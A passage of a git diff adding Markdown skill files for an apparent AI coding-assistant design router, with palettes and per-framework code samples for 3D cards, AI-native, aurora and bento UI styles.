FontWeight.bold)), + ), + ); + }, + ), + ); + } +} +``` +- The secret to perspective in Flutter is `Matrix4.identity()..setEntry(3, 2, 0.001)`. +- Wrap the target container in a `Transform` widget and apply rotations on the X and Y axes. +- Use `TweenAnimationBuilder` to smooth out the return-to-center physics. + +### React Native +```jsx +const Card3D = () => { + const pan = useRef(new Animated.ValueXY()).current; + + const panResponder = useRef( + PanResponder.create({ + onStartShouldSetPanResponder: () => true, + onPanResponderMove: Animated.event([null, { dx: pan.x, dy: pan.y }], { useNativeDriver: false }), + onPanResponderRelease: () => { + Animated.spring(pan, { toValue: { x: 0, y: 0 }, useNativeDriver: false }).start(); + }, + }) + ).current; + + // Map drag distance to degrees + const rotateX = pan.y.interpolate({ inputRange: [-200, 200], outputRange: ['20deg', '-20deg'] }); + const rotateY = pan.x.interpolate({ inputRange: [-200, 200], outputRange: ['-20deg', '20deg'] }); + + return ( + + 3D Card + + ); +}; +``` +- True 3D models require `react-three-fiber`. +- For UI perspective transforms, use the `transform` array: `[{ perspective: 1000 }, { rotateX: '...' }, { rotateY: '...' }]`. +- `perspective` MUST be the first item in the transform array for the effect to render correctly. + +### Jetpack Compose +```kotlin +@Composable +fun Card3D() { + var offset by remember { mutableStateOf(Offset.Zero) } + val animatedOffset by animateOffsetAsState( + targetValue = offset, + animationSpec = spring(dampingRatio = Spring.DampingRatioMediumBouncy) + ) + + Box( + modifier = Modifier + .size(300.dp, 400.dp) + .pointerInput(Unit) { + detectDragGestures( + onDrag = { change, dragAmount -> + change.consume() + offset += dragAmount + }, + onDragEnd = { offset = Offset.Zero }, + onDragCancel = { offset = Offset.Zero } + ) + } + .graphicsLayer { + // Apply 3D rotation based on drag offset + rotationX = -animatedOffset.y * 0.1f + rotationY = animatedOffset.x * 0.1f + cameraDistance = 8f * density // Sets the perspective + } + .shadow(20.dp, RoundedCornerShape(24.dp)) + .clip(RoundedCornerShape(24.dp)) + .background(Brush.linearGradient(listOf(Color.Blue, Color.Magenta))) + ) { + Text("3D Card", + color = Color.White, fontSize = 32.sp, fontWeight = FontWeight.Bold, + modifier = Modifier.align(Alignment.Center)) + } +} +``` +- Apply 3D transformations inside `Modifier.graphicsLayer { }`. +- Set `rotationX` and `rotationY` for the tilt. +- **Critical**: Set `cameraDistance` to establish the Z-axis perspective vanishing point. Usually `8f * density` is a good starting point. + +## Do's and Don'ts +- **DO**: Tie 3D rotation to user input (mouse move on web, device tilt on mobile) for maximum impact. +- **DON'T**: Make text itself 3D unless it's a massive headline. 3D text is generally unreadable at small sizes. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/SKILL.md new file mode 100644 index 00000000..2fa601fb --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/SKILL.md @@ -0,0 +1,170 @@ +--- +name: design-it +description: "Routes frontend design tasks to 48 specific UI styles. Triggers for websites, app screens, or UI components requesting a specific aesthetic." +category: frontend +risk: safe +source: self +source_type: self +date_added: "2026-06-17" +author: community +tags: [design, ui, frontend] +tools: [claude, cursor, gemini] +--- + +# Design-It: Sophisticated UI Style Router + +This is the main entry point for the **design-it** skill system. Instead of falling back to generic "AI slop" aesthetics, you have access to 48 distinct, deeply opinionated design styles. + +## When to Use +Use this skill when a user requests building any frontend interface (website, app screen, UI component) and you want to apply a specific, opinionated design aesthetic instead of generic defaults. + +## How to Use This Skill + +When a user asks you to build a frontend interface (web or app): +1. **Identify the Style (Fuzzy Matching)**: Look for keywords in their prompt (e.g., "minimal", "glass", "retro"). You do not need an exact match. Use your semantic understanding to map their request to one of the 48 styles. For example: + - "Apple style" or "VisionOS" -> `spatial-design`, `bento-ui`, or `glassmorphism` + - "Windows 8" or "Metro" -> `tile-design` + - "Terminal" or "Hacker" -> `sci-fi-interface` or `brutalist-typography` + - "Bauhaus" or "Clean" -> `swiss-design` + - "Cyber" or "Matrix" -> `cyberpunk-ui` + If they don't specify a style, choose one that best fits the project context. +2. **Read the Style Reference**: Check the **Style Index** below to find the correct path for the chosen style. Use the `view_file` tool to read its specific `SKILL.md`. +3. **Pick a Palette**: If the user explicitly defined a theme or colors, **use their requested colors**. If they did NOT specify colors, you MUST choose from one of the **10 Universal Palettes** below. +4. **Execute**: Write the code following the specific principles of the chosen style. Do not blend styles unless requested. + +## Universal Color Palettes +If the user provides their own colors, use them. Otherwise, you MUST use one of these 10 award-winning, highly sophisticated palettes to avoid generic neon/purplish gradients. When picking a palette, stick to these exact hex codes and establish CSS variables for them. + +1. **Yacht Club** (Nautical / Classic Elegance) + - Backgrounds: `#F9F6F0` + - Primary Text/Accents: `#1B2A49` + - CTA/Highlights: `#C85A32` + - Secondary Base: `#E2D8C9` +2. **Desert Mirage** (Warm / Organic) + - Backgrounds: `#F4EFEA` + - Primary Text/Accents: `#2D2B2A` + - CTA/Highlights: `#A65E44` + - Secondary Base: `#8C8781` +3. **Industrial Chic** (Strong / Minimalist) + - Backgrounds: `#D1D1D1` + - Primary Text/Accents: `#111111` + - CTA/Highlights: `#9A3B3B` + - Secondary Base: `#757575` +4. **Monochromatic Brown** (Comfort / Nostalgic) + - Backgrounds: `#D9CBBF` + - Primary Text/Accents: `#4A362D` + - CTA/Highlights: `#7A4C3A` + - Secondary Base: `#948275` +5. **Earth-Grounded Elegance** (Calm / Sustainable) + - Backgrounds: `#F7F5F0` + - Primary Text/Accents: `#3A4B3A` + - CTA/Highlights: `#8A9A86` + - Secondary Base: `#D3CEC4` +6. **Minimalist Slate** (Professional / Tech) + - Backgrounds: `#F4F4F9` + - Primary Text/Accents: `#2B303A` + - CTA/Highlights: `#5C6B73` + - Secondary Base: `#C0C5C1` +7. **Midnight Luxury** (Premium / Dark Mode) + - Backgrounds: `#0A0A0A` + - Primary Text/Accents: `#F5F5F0` + - CTA/Highlights: `#B59A5F` + - Secondary Base: `#1C1C1C` +8. **Sophisticated Neutral** (Upscale / Lifestyle) + - Backgrounds: `#E6E2DD` + - Primary Text/Accents: `#1F1C1B` + - CTA/Highlights: `#524036` + - Secondary Base: `#B8B0A8` +9. **Warm Tech** (Corporate / Modern) + - Backgrounds: `#EAEAEA` + - Primary Text/Accents: `#1C252E` + - CTA/Highlights: `#C28F79` + - Secondary Base: `#2C3E50` +10. **Modern Editorial** (Magazine / High Contrast) + - Backgrounds: `#F9F9F9` + - Primary Text/Accents: `#121212` + - CTA/Highlights: `#D44A3A` + - Secondary Base: `#8F8F8F` + +## The 60-30-10 Rule +- **60%**: Backgrounds / Secondary Base +- **30%**: Primary Text / Accents +- **10%**: CTA / Highlights + +--- + +## Style Index (48 Styles) + +To use a style, you MUST read its file at `/SKILL.md` relative to this file's directory. + +### Modern UI +- `minimalism` +- `flat-design` +- `flat-design-2` +- `material-design` +- `glassmorphism` +- `neumorphism` +- `skeuomorphism` +- `claymorphism` +- `aurora-ui` +- `bento-ui` + +### Depth & 3D +- `3d-ui` +- `isometric-design` +- `layered-design` +- `floating-ui` +- `spatial-design` + +### Typography +- `swiss-design` +- `editorial-design` +- `typography-first` +- `brutalist-typography` + +### Retro & Historical +- `brutalism` +- `neo-brutalism` +- `retro-design` +- `y2k-design` +- `cyber-y2k` +- `vaporwave` +- `synthwave` +- `frutiger-aero` +- `retro-futurism` + +### Modern Trends +- `dark-mode` +- `monochromatic-ui` +- `gradient-design` +- `duotone-design` +- `color-blocking` +- `soft-pastel` +- `high-contrast` +- `vibrant-maximalism` +- `maximalism` + +### Futuristic +- `cyberpunk-ui` +- `sci-fi-interface` +- `holographic-ui` +- `ai-native-ui` +- `spatial-computing-ui` + +### Data & Product +- `dashboard-design` +- `card-based-design` +- `widget-based-design` +- `tile-design` +- `data-dense-design` +- `command-center-ui` + +## Web vs App Implementation +- **Web (React/Vue/HTML)**: Use CSS variables natively. Prioritize CSS grid/flexbox for layout. Use CSS transitions for hover states. +- **App (React Native/Flutter/SwiftUI)**: Map the palettes to the framework's theme engine. Use platform-specific shadows (elevation) and animations instead of CSS transitions. Maintain the core visual principles while adapting to mobile constraints. + +## Limitations + +- This skill does not replace environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, or safety boundaries are missing. + diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/ai-native-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/ai-native-ui/SKILL.md new file mode 100644 index 00000000..48f4adfe --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/ai-native-ui/SKILL.md @@ -0,0 +1,295 @@ +--- +name: ai-native-ui +description: Web and App implementation guide for AI Native UI. Trigger when user wants conversational interfaces, adaptive layouts, and generative AI aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# AI Native UI + +> "Fluid, adaptive, and conversational. The interface morphs to serve the content." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Conversational First**: The chat input or voice prompt is the primary navigation method, not a sidebar of links. +2. **Generative States**: Loading states aren't spinners; they are shimmering text, morphing gradients, or skeletal layouts that resolve smoothly into content. +3. **Adaptive Components**: Cards and blocks size themselves dynamically based on the generated content length. + +## Visual DNA +- **Colors**: **Minimalist Slate** combined with **Electric Indigo** or **Neon Pulse** gradients for the AI elements. The background is clean (white or dark grey), while the AI "presence" is represented by a shifting, iridescent gradient. +- **Typography**: Highly readable system fonts (`Inter`, `SF Pro`). +- **Styling**: Subtle glowing borders to indicate AI generation in progress. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #FAFAFA; + color: #1A1A1A; + font-family: 'Inter', sans-serif; +} + +/* The AI Chat Input */ +.ai-prompt-box { + background: #ffffff; + border-radius: 24px; + padding: 16px 24px; + box-shadow: 0 8px 30px rgba(0,0,0,0.05); + border: 1px solid transparent; + + /* AI Glow Border */ + background-clip: padding-box, border-box; + background-origin: padding-box, border-box; + background-image: + linear-gradient(#ffffff, #ffffff), + linear-gradient(90deg, #8A2387, #E94057, #F27121); + + transition: all 0.3s ease; +} + +.ai-prompt-box:focus-within { + box-shadow: 0 12px 40px rgba(233, 64, 87, 0.15); +} + +/* Generative Shimmer Text */ +.ai-generating-text { + background: linear-gradient(90deg, #aaa 0%, #333 50%, #aaa 100%); + background-size: 200% auto; + color: transparent; + -webkit-background-clip: text; + animation: shine 1.5s linear infinite; +} + +@keyframes shine { + to { background-position: 200% center; } +} +``` + +## App Implementation + +### SwiftUI +```swift +struct AINativeInput: View { + @State private var isGenerating = true + @State private var gradientOffset = 0.0 + + var body: some View { + VStack { + // Generative Text Shimmer + if isGenerating { + Text("Synthesizing response...") + .font(.headline) + .foregroundStyle( + LinearGradient( + colors: [.gray.opacity(0.3), .gray, .gray.opacity(0.3)], + startPoint: UnitPoint(x: gradientOffset - 1, y: 0), + endPoint: UnitPoint(x: gradientOffset + 1, y: 0) + ) + ) + .onAppear { + withAnimation(.linear(duration: 1.5).repeatForever(autoreverses: false)) { + gradientOffset = 1.0 + } + } + } + + // AI Input Box + HStack { + TextField("Ask anything...", text: .constant("")) + Image(systemName: "sparkles") + .foregroundColor(.purple) + } + .padding() + .background(Color.white) + .cornerRadius(24) + .overlay( + RoundedRectangle(cornerRadius: 24) + .stroke( + LinearGradient(colors: [.purple, .pink, .orange], startPoint: .topLeading, endPoint: .bottomTrailing), + lineWidth: 2 + ) + ) + .shadow(color: .pink.opacity(0.15), radius: 20) + } + .padding() + } +} +``` +- A shifting `LinearGradient` mask over text creates a beautiful "thinking" state. +- Use a gradient `.stroke` on a `RoundedRectangle` overlay to create the signature AI glowing border around input fields. + +### Flutter +```dart +import 'package:shimmer/shimmer.dart'; + +class AINativeInput extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + // Generative Shimmer + Shimmer.fromColors( + baseColor: Colors.grey[300]!, + highlightColor: Colors.grey[600]!, + child: const Text('Synthesizing response...', + style: TextStyle(fontSize: 16, fontWeight: FontWeight.bold)), + ), + const SizedBox(height: 16), + // AI Input Box + Container( + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(24), + boxShadow: [ + BoxShadow(color: Colors.pink.withOpacity(0.15), blurRadius: 20), + ], + ), + child: Container( + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(24), + // Gradient border simulation + gradient: const LinearGradient( + colors: [Colors.purple, Colors.pink, Colors.orange], + ), + ), + padding: const EdgeInsets.all(2), // Border width + child: Container( + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(22), + ), + padding: const EdgeInsets.symmetric(horizontal: 16, vertical: 4), + child: Row( + children: const [ + Expanded( + child: TextField( + decoration: InputDecoration( + hintText: 'Ask anything...', + border: InputBorder.none, + ), + ), + ), + Icon(Icons.auto_awesome, color: Colors.purple), + ], + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- The `shimmer` package is the absolute standard for AI loading states in Flutter. +- Gradient borders natively don't exist on `BoxDecoration`; simulate them by nesting containers with a gradient background and a solid white inner container. + +### React Native +```jsx +// Requires react-native-linear-gradient and react-native-shimmer-placeholder +import LinearGradient from 'react-native-linear-gradient'; +import { createShimmerPlaceholder } from 'react-native-shimmer-placeholder'; + +const ShimmerPlaceHolder = createShimmerPlaceholder(LinearGradient); + +const AINativeInput = () => { + return ( + + {/* Generative Shimmer */} + + + {/* AI Input Box with Gradient Border */} + + + + + + + + ); +}; +``` +- `react-native-shimmer-placeholder` is the best way to handle the morphing skeleton states. +- Like Flutter, React Native doesn't have native gradient borders. Wrap the input in a `LinearGradient` view with `padding: 2` to create the stroke. + +### Jetpack Compose +```kotlin +@Composable +fun AINativeInput() { + val infiniteTransition = rememberInfiniteTransition() + val gradientOffset by infiniteTransition.animateFloat( + initialValue = 0f, + targetValue = 1000f, + animationSpec = infiniteRepeatable( + animation = tween(1500, easing = LinearEasing), + repeatMode = RepeatMode.Restart + ) + ) + + Column(modifier = Modifier.padding(16.dp)) { + // Generative Shimmer Text + val shimmerBrush = Brush.linearGradient( + colors = listOf(Color.LightGray, Color.Gray, Color.LightGray), + start = Offset(gradientOffset - 500f, 0f), + end = Offset(gradientOffset, 0f) + ) + Text("Synthesizing response...", style = TextStyle(brush = shimmerBrush, fontWeight = FontWeight.Bold)) + + Spacer(Modifier.height(16.dp)) + + // AI Input Box + val borderBrush = Brush.linearGradient(listOf(Color(0xFF8A2387), Color(0xFFE94057), Color(0xFFF27121))) + + Row( + modifier = Modifier + .shadow(20.dp, RoundedCornerShape(24.dp), ambientColor = Color(0xFFE94057), spotColor = Color(0xFFE94057)) + .background(Color.White, RoundedCornerShape(24.dp)) + .border(2.dp, borderBrush, RoundedCornerShape(24.dp)) + .padding(horizontal = 16.dp, vertical = 12.dp), + verticalAlignment = Alignment.CenterVertically + ) { + BasicTextField( + value = "", + onValueChange = {}, + modifier = Modifier.weight(1f), + decorationBox = { innerTextField -> Text("Ask anything...", color = Color.Gray) } + ) + Icon(Icons.Default.Star, contentDescription = null, tint = Color(0xFF8A2387)) + } + } +} +``` +- Compose allows passing a `Brush` directly into the `TextStyle`, making shimmering text incredibly easy without third-party libraries. +- Compose's `Modifier.border()` natively accepts a `Brush`, making gradient borders a one-liner. + +## Do's and Don'ts +- **DO**: Use a distinct, vibrant gradient to represent the AI "agent", contrasting with a very plain, clean background. +- **DON'T**: Use complex navigation headers. The user should navigate by asking the AI, not by clicking deep menus. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/aurora-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/aurora-ui/SKILL.md new file mode 100644 index 00000000..8f2b2d58 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/aurora-ui/SKILL.md @@ -0,0 +1,307 @@ +--- +name: aurora-ui +description: Web and App implementation guide for Aurora UI. Trigger when user wants gradient glows, color blobs, and atmospheric lighting effects. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Aurora UI + +> "Ethereal, shifting lights. Like the Northern Lights trapped beneath a pane of frosted glass." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Blurred Color Orbs**: Large, out-of-focus, highly saturated color blobs floating in the background. +2. **Glassy Overlays**: Foreground elements are often semi-transparent (glassmorphism) to let the aurora effect shine through. +3. **Fluid Motion**: The background color orbs should slowly drift, expand, and contract. + +## Visual DNA +- **Colors**: Requires dark, deep backgrounds with vibrant, luminous accents. **Midnight Luxury** or **Yacht Club** (modified to dark mode) work well, injecting bright cyan, magenta, or lime green as the glowing orbs. +- **Typography**: Thin, elegant sans-serifs or sophisticated serif fonts. High contrast white text. +- **Layout**: Keep foreground UI elements minimal to let the background remain the star. + +## Web Implementation +- Best achieved with absolute-positioned, heavily blurred `div`s behind the main content. +- **CSS Example**: +```css +body { + background-color: #0A0A0A; + overflow-x: hidden; + position: relative; +} + +/* The Glowing Orb */ +.aurora-blob { + position: absolute; + width: 400px; + height: 400px; + background: radial-gradient(circle, rgba(181,154,95,0.8) 0%, rgba(181,154,95,0) 70%); + border-radius: 50%; + filter: blur(80px); + z-index: -1; + animation: float 20s infinite ease-in-out alternate; +} + +.aurora-blob.blue { + background: radial-gradient(circle, rgba(92,107,115,0.8) 0%, rgba(0,0,0,0) 70%); + top: 20%; + left: 60%; + animation-delay: -5s; +} + +@keyframes float { + 0% { transform: translate(0, 0) scale(1); } + 50% { transform: translate(-50px, 100px) scale(1.2); } + 100% { transform: translate(100px, -50px) scale(0.9); } +} + +/* Foreground content should be glassmorphic */ +.aurora-card { + background: rgba(255,255,255,0.03); + backdrop-filter: blur(20px); + border: 1px solid rgba(255,255,255,0.05); + border-radius: 24px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct AuroraView: View { + @State private var animate = false + + var body: some View { + ZStack { + // Dark background + Color.black.ignoresSafeArea() + + // Animated Orbs + Circle() + .fill(Color(red: 0.71, green: 0.60, blue: 0.37)) // #B59A5F + .blur(radius: 80) + .frame(width: 300, height: 300) + .offset(x: animate ? -50 : 50, y: animate ? -100 : 0) + + Circle() + .fill(Color(red: 0.36, green: 0.42, blue: 0.45)) // #5C6B73 + .blur(radius: 80) + .frame(width: 300, height: 300) + .offset(x: animate ? 100 : -50, y: animate ? 100 : -50) + + // Glassy Foreground content + VStack { + Text("Aurora Interface") + .font(.largeTitle.bold()) + .foregroundColor(.white) + } + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(.ultraThinMaterial) + } + .onAppear { + withAnimation(.easeInOut(duration: 10).repeatForever(autoreverses: true)) { + animate = true + } + } + } +} +``` +- Use `Circle().blur(radius: 80...120)` in a `ZStack` underneath the main content. +- Animate the `.offset()` with a very long `duration (10-20 seconds)`. +- Use `.background(.ultraThinMaterial)` on foreground containers to let the colored light bleed through nicely. + +### Flutter +```dart +import 'dart:ui'; + +class AuroraView extends StatefulWidget { + @override + State createState() => _AuroraViewState(); +} + +class _AuroraViewState extends State with SingleTickerProviderStateMixin { + late AnimationController _controller; + + @override + void initState() { + super.initState(); + _controller = AnimationController(vsync: this, duration: const Duration(seconds: 10))..repeat(reverse: true); + } + + @override + void dispose() { + _controller.dispose(); + super.dispose(); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, + body: Stack( + children: [ + // Animated orb + AnimatedBuilder( + animation: _controller, + builder: (context, child) { + return Positioned( + top: 100 + (_controller.value * 100), + left: -50 + (_controller.value * 100), + child: Container( + width: 300, + height: 300, + decoration: const BoxDecoration( + shape: BoxShape.circle, + color: Color(0xFFB59A5F), + ), + ), + ); + }, + ), + // Massive blur layer over the orbs + Positioned.fill( + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 80, sigmaY: 80), + child: Container(color: Colors.transparent), + ), + ), + // Glassy Foreground + Center( + child: ClipRRect( + borderRadius: BorderRadius.circular(24), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 16, sigmaY: 16), + child: Container( + padding: const EdgeInsets.all(32), + color: Colors.white.withOpacity(0.05), + child: const Text('Aurora Interface', + style: TextStyle(color: Colors.white, fontSize: 24, fontWeight: FontWeight.bold)), + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- A massive full-screen `BackdropFilter` over moving solid circles is often more performant than blurring each circle individually. +- Layer a second, weaker `BackdropFilter` for the actual foreground glassmorphism panels. + +### React Native +```jsx +// Requires @react-native-community/blur +import { BlurView } from '@react-native-community/blur'; + +const AuroraView = () => { + const anim = useRef(new Animated.Value(0)).current; + + useEffect(() => { + Animated.loop( + Animated.sequence([ + Animated.timing(anim, { toValue: 1, duration: 10000, useNativeDriver: true }), + Animated.timing(anim, { toValue: 0, duration: 10000, useNativeDriver: true }), + ]) + ).start(); + }, []); + + const translateY = anim.interpolate({ inputRange: [0, 1], outputRange: [0, 100] }); + + return ( + + {/* Orb — note: React Native struggles with massive live blurs, + so pre-rendered blurred PNGs are highly recommended for production */} + + + {/* Glass Foreground */} + + + + Aurora Interface + + + + + ); +}; +``` +- **Performance Warning**: Do NOT use `BlurView` with huge amounts for moving background orbs on React Native — it will lag terribly, especially on Android. +- **Best Practice**: Create large, already-blurred PNG images in Figma/Photoshop and animate those using `Animated.Image`. + +### Jetpack Compose +```kotlin +@Composable +fun AuroraView() { + val infiniteTransition = rememberInfiniteTransition() + val offsetY by infiniteTransition.animateFloat( + initialValue = -50f, + targetValue = 100f, + animationSpec = infiniteRepeatable( + animation = tween(10000, easing = LinearEasing), + repeatMode = RepeatMode.Reverse + ) + ) + + Box(modifier = Modifier + .fillMaxSize() + .background(Color.Black)) { + + // Blurred Orb + Box( + modifier = Modifier + .offset(x = (-50).dp, y = offsetY.dp) + .size(300.dp) + .blur(80.dp) // API 31+ only! + .background(Color(0xFFB59A5F), CircleShape) + ) + + // Pre-API 31 fallback: use a radial gradient instead of blur + Box( + modifier = Modifier + .offset(x = 150.dp, y = (offsetY * -1).dp) + .size(300.dp) + .background( + Brush.radialGradient( + colors = listOf(Color(0xFF5C6B73).copy(alpha = 0.8f), Color.Transparent) + ) + ) + ) + + // Glass panel + Card( + modifier = Modifier.align(Alignment.Center).padding(32.dp), + colors = CardDefaults.cardColors(containerColor = Color.White.copy(alpha = 0.05f)), + shape = RoundedCornerShape(24.dp), + ) { + Text("Aurora Interface", + color = Color.White, fontSize = 24.sp, fontWeight = FontWeight.Bold, + modifier = Modifier.padding(32.dp)) + } + } +} +``` +- `Modifier.blur()` is only fully supported on Android 12 (API 31+). +- **Critical Fallback**: For older devices, use `Brush.radialGradient` fading from color to `Color.Transparent` to fake the glowing orb effect without needing expensive blur calculations. + +## Do's and Don'ts +- **DO**: Ensure the foreground text remains legible. If a bright orb floats behind white text, the text will vanish. Use glassy panels to guarantee contrast. +- **DON'T**: Use sharp gradients. Everything in the background must be heavily blurred and diffuse. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/bento-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/bento-ui/SKILL.md new file mode 100644 index 00000000..aaf1e2e1 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/bento-ui/SKILL.md @@ -0,0 +1,314 @@ +--- +name: bento-ui +description: Web and App implementation guide for Bento UI. Trigger when user wants modular grid cards, Apple-like dashboard style, or sections arranged like a bento box. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Bento UI + +> "Everything in its right place. A highly structured, modular grid of distinct compartments." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Strict Grid Structure**: The entire UI is built on a responsive, multi-column grid (usually 3x3, 4x4, or irregular masonry). +2. **Rounded Compartments**: Every distinct piece of content lives inside a card (compartment) with consistent, usually large, border-radius. +3. **Equal Spacing**: The gap between compartments must be perfectly consistent everywhere. + +## Visual DNA +- **Colors**: Highly adaptable, but looks incredibly premium with **Minimalist Slate** or **Yacht Club**. Often uses a slightly off-white or light gray background to make the white compartments pop. +- **Typography**: Apple-esque (e.g., `SF Pro`, `Inter`). Headlines are usually bold and placed at the top-left or bottom-left of each compartment. +- **Visuals**: Often relies on high-quality, edge-to-edge images or single, large 3D icons inside specific grid cells to break up text-heavy cards. + +## Web Implementation +- CSS Grid is mandatory. Flexbox is too difficult to maintain the strict 2D structure. +- **CSS Example**: +```css +.bento-container { + display: grid; + grid-template-columns: repeat(4, 1fr); + grid-auto-rows: 200px; + gap: 24px; + padding: 24px; + background-color: var(--bg-primary); /* Slightly darker than cards */ +} + +.bento-card { + background-color: #fff; + border-radius: 32px; /* Very large border radius */ + padding: 32px; + box-shadow: 0 4px 24px rgba(0,0,0,0.04); + /* Optional: subtle 1px border for crispness */ + border: 1px solid rgba(0,0,0,0.05); + + display: flex; + flex-direction: column; + justify-content: space-between; +} + +/* Creating spans for different bento sizes */ +.bento-span-2 { grid-column: span 2; } +.bento-span-2-row { grid-row: span 2; } +.bento-large { grid-column: span 2; grid-row: span 2; } +``` + +## App Implementation + +### SwiftUI +```swift +struct BentoGrid: View { + let columns = [ + GridItem(.flexible(), spacing: 16), + GridItem(.flexible(), spacing: 16) + ] + + var body: some View { + ScrollView { + LazyVGrid(columns: columns, spacing: 16) { + // 2x1 Span (Full width) + BentoCard(title: "Hero", color: .blue) + .frame(height: 180) + + // 1x1 Spans + BentoCard(title: "Stats", color: .green) + .frame(height: 180) + BentoCard(title: "Graph", color: .purple) + .frame(height: 180) + + // 1x2 Span (Tall) + BentoCard(title: "Activity", color: .orange) + .frame(height: 376) // (180 * 2) + 16 spacing + + // 1x1 Spans next to the tall one + VStack(spacing: 16) { + BentoCard(title: "A", color: .pink).frame(height: 180) + BentoCard(title: "B", color: .cyan).frame(height: 180) + } + } + .padding(16) + } + .background(Color(.systemGroupedBackground)) + } +} + +struct BentoCard: View { + let title: String + let color: Color + var body: some View { + RoundedRectangle(cornerRadius: 24) + .fill(Color(.secondarySystemGroupedBackground)) + .overlay( + Text(title).font(.headline).foregroundColor(color), + alignment: .topLeading + ) + .padding(16) + // Soft bento shadow + .shadow(color: .black.opacity(0.04), radius: 12, x: 0, y: 4) + } +} +``` +- Use `LazyVGrid` for uniform grids. +- For complex irregular bento layouts (like 1x2 spans), you often have to mix `VStack` and `HStack` inside the grid cells to fake the spans. +- Maintain absolute consistency with `cornerRadius` (usually 24-32pt) and `spacing` (usually 16pt). + +### Flutter +```dart +import 'package:flutter_staggered_grid_view/flutter_staggered_grid_view.dart'; + +class BentoScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.grey[100], + body: SingleChildScrollView( + padding: const EdgeInsets.all(16), + child: StaggeredGrid.count( + crossAxisCount: 4, // 4 columns total + mainAxisSpacing: 16, + crossAxisSpacing: 16, + children: const [ + // 2x1 (Full width in a 2-col layout, spans 4) + StaggeredGridTile.count( + crossAxisCellCount: 4, + mainAxisCellCount: 2, + child: BentoCard(title: 'Hero'), + ), + // 1x1 + StaggeredGridTile.count( + crossAxisCellCount: 2, + mainAxisCellCount: 2, + child: BentoCard(title: 'Stats'), + ), + // 1x1 + StaggeredGridTile.count( + crossAxisCellCount: 2, + mainAxisCellCount: 2, + child: BentoCard(title: 'Graph'), + ), + // 1x2 (Tall) + StaggeredGridTile.count( + crossAxisCellCount: 2, + mainAxisCellCount: 4, + child: BentoCard(title: 'Activity'), + ), + ], + ), + ), + ); + } +} + +class BentoCard extends StatelessWidget { + final String title; + const BentoCard({required this.title}); + + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(24), + boxShadow: [ + BoxShadow( + color: Colors.black.withOpacity(0.04), + blurRadius: 12, + offset: const Offset(0, 4), + ), + ], + ), + alignment: Alignment.topLeft, + child: Text(title, style: const TextStyle(fontWeight: FontWeight.bold)), + ); + } +} +``` +- The `flutter_staggered_grid_view` package is practically mandatory for complex Bento grids in Flutter. +- Use `StaggeredGridTile.count` to explicitly declare the `crossAxis` and `mainAxis` span of each compartment. + +### React Native +```jsx +const BentoScreen = () => { + return ( + + {/* 2x1 Span */} + + Hero + + + + {/* 1x1 Spans */} + + Stats + + + Graph + + + + + {/* 1x2 Span (Tall) */} + + Activity + + + + {/* Stacked 1x1s */} + + A + + + B + + + + + ); +}; + +const styles = StyleSheet.create({ + bentoCard: { + backgroundColor: '#FFFFFF', + borderRadius: 24, + padding: 24, + shadowColor: '#000', + shadowOffset: { width: 0, height: 4 }, + shadowOpacity: 0.04, + shadowRadius: 12, + elevation: 2, + }, + title: { + fontWeight: '700', + fontSize: 18, + } +}); +``` +- React Native lacks CSS Grid. You must manually compose the grid using `flexDirection: 'row'` and vertical stacks. +- The `gap` property in React Native flexbox makes this significantly easier than using margins. + +### Jetpack Compose +```kotlin +@Composable +fun BentoGrid() { + Column( + modifier = 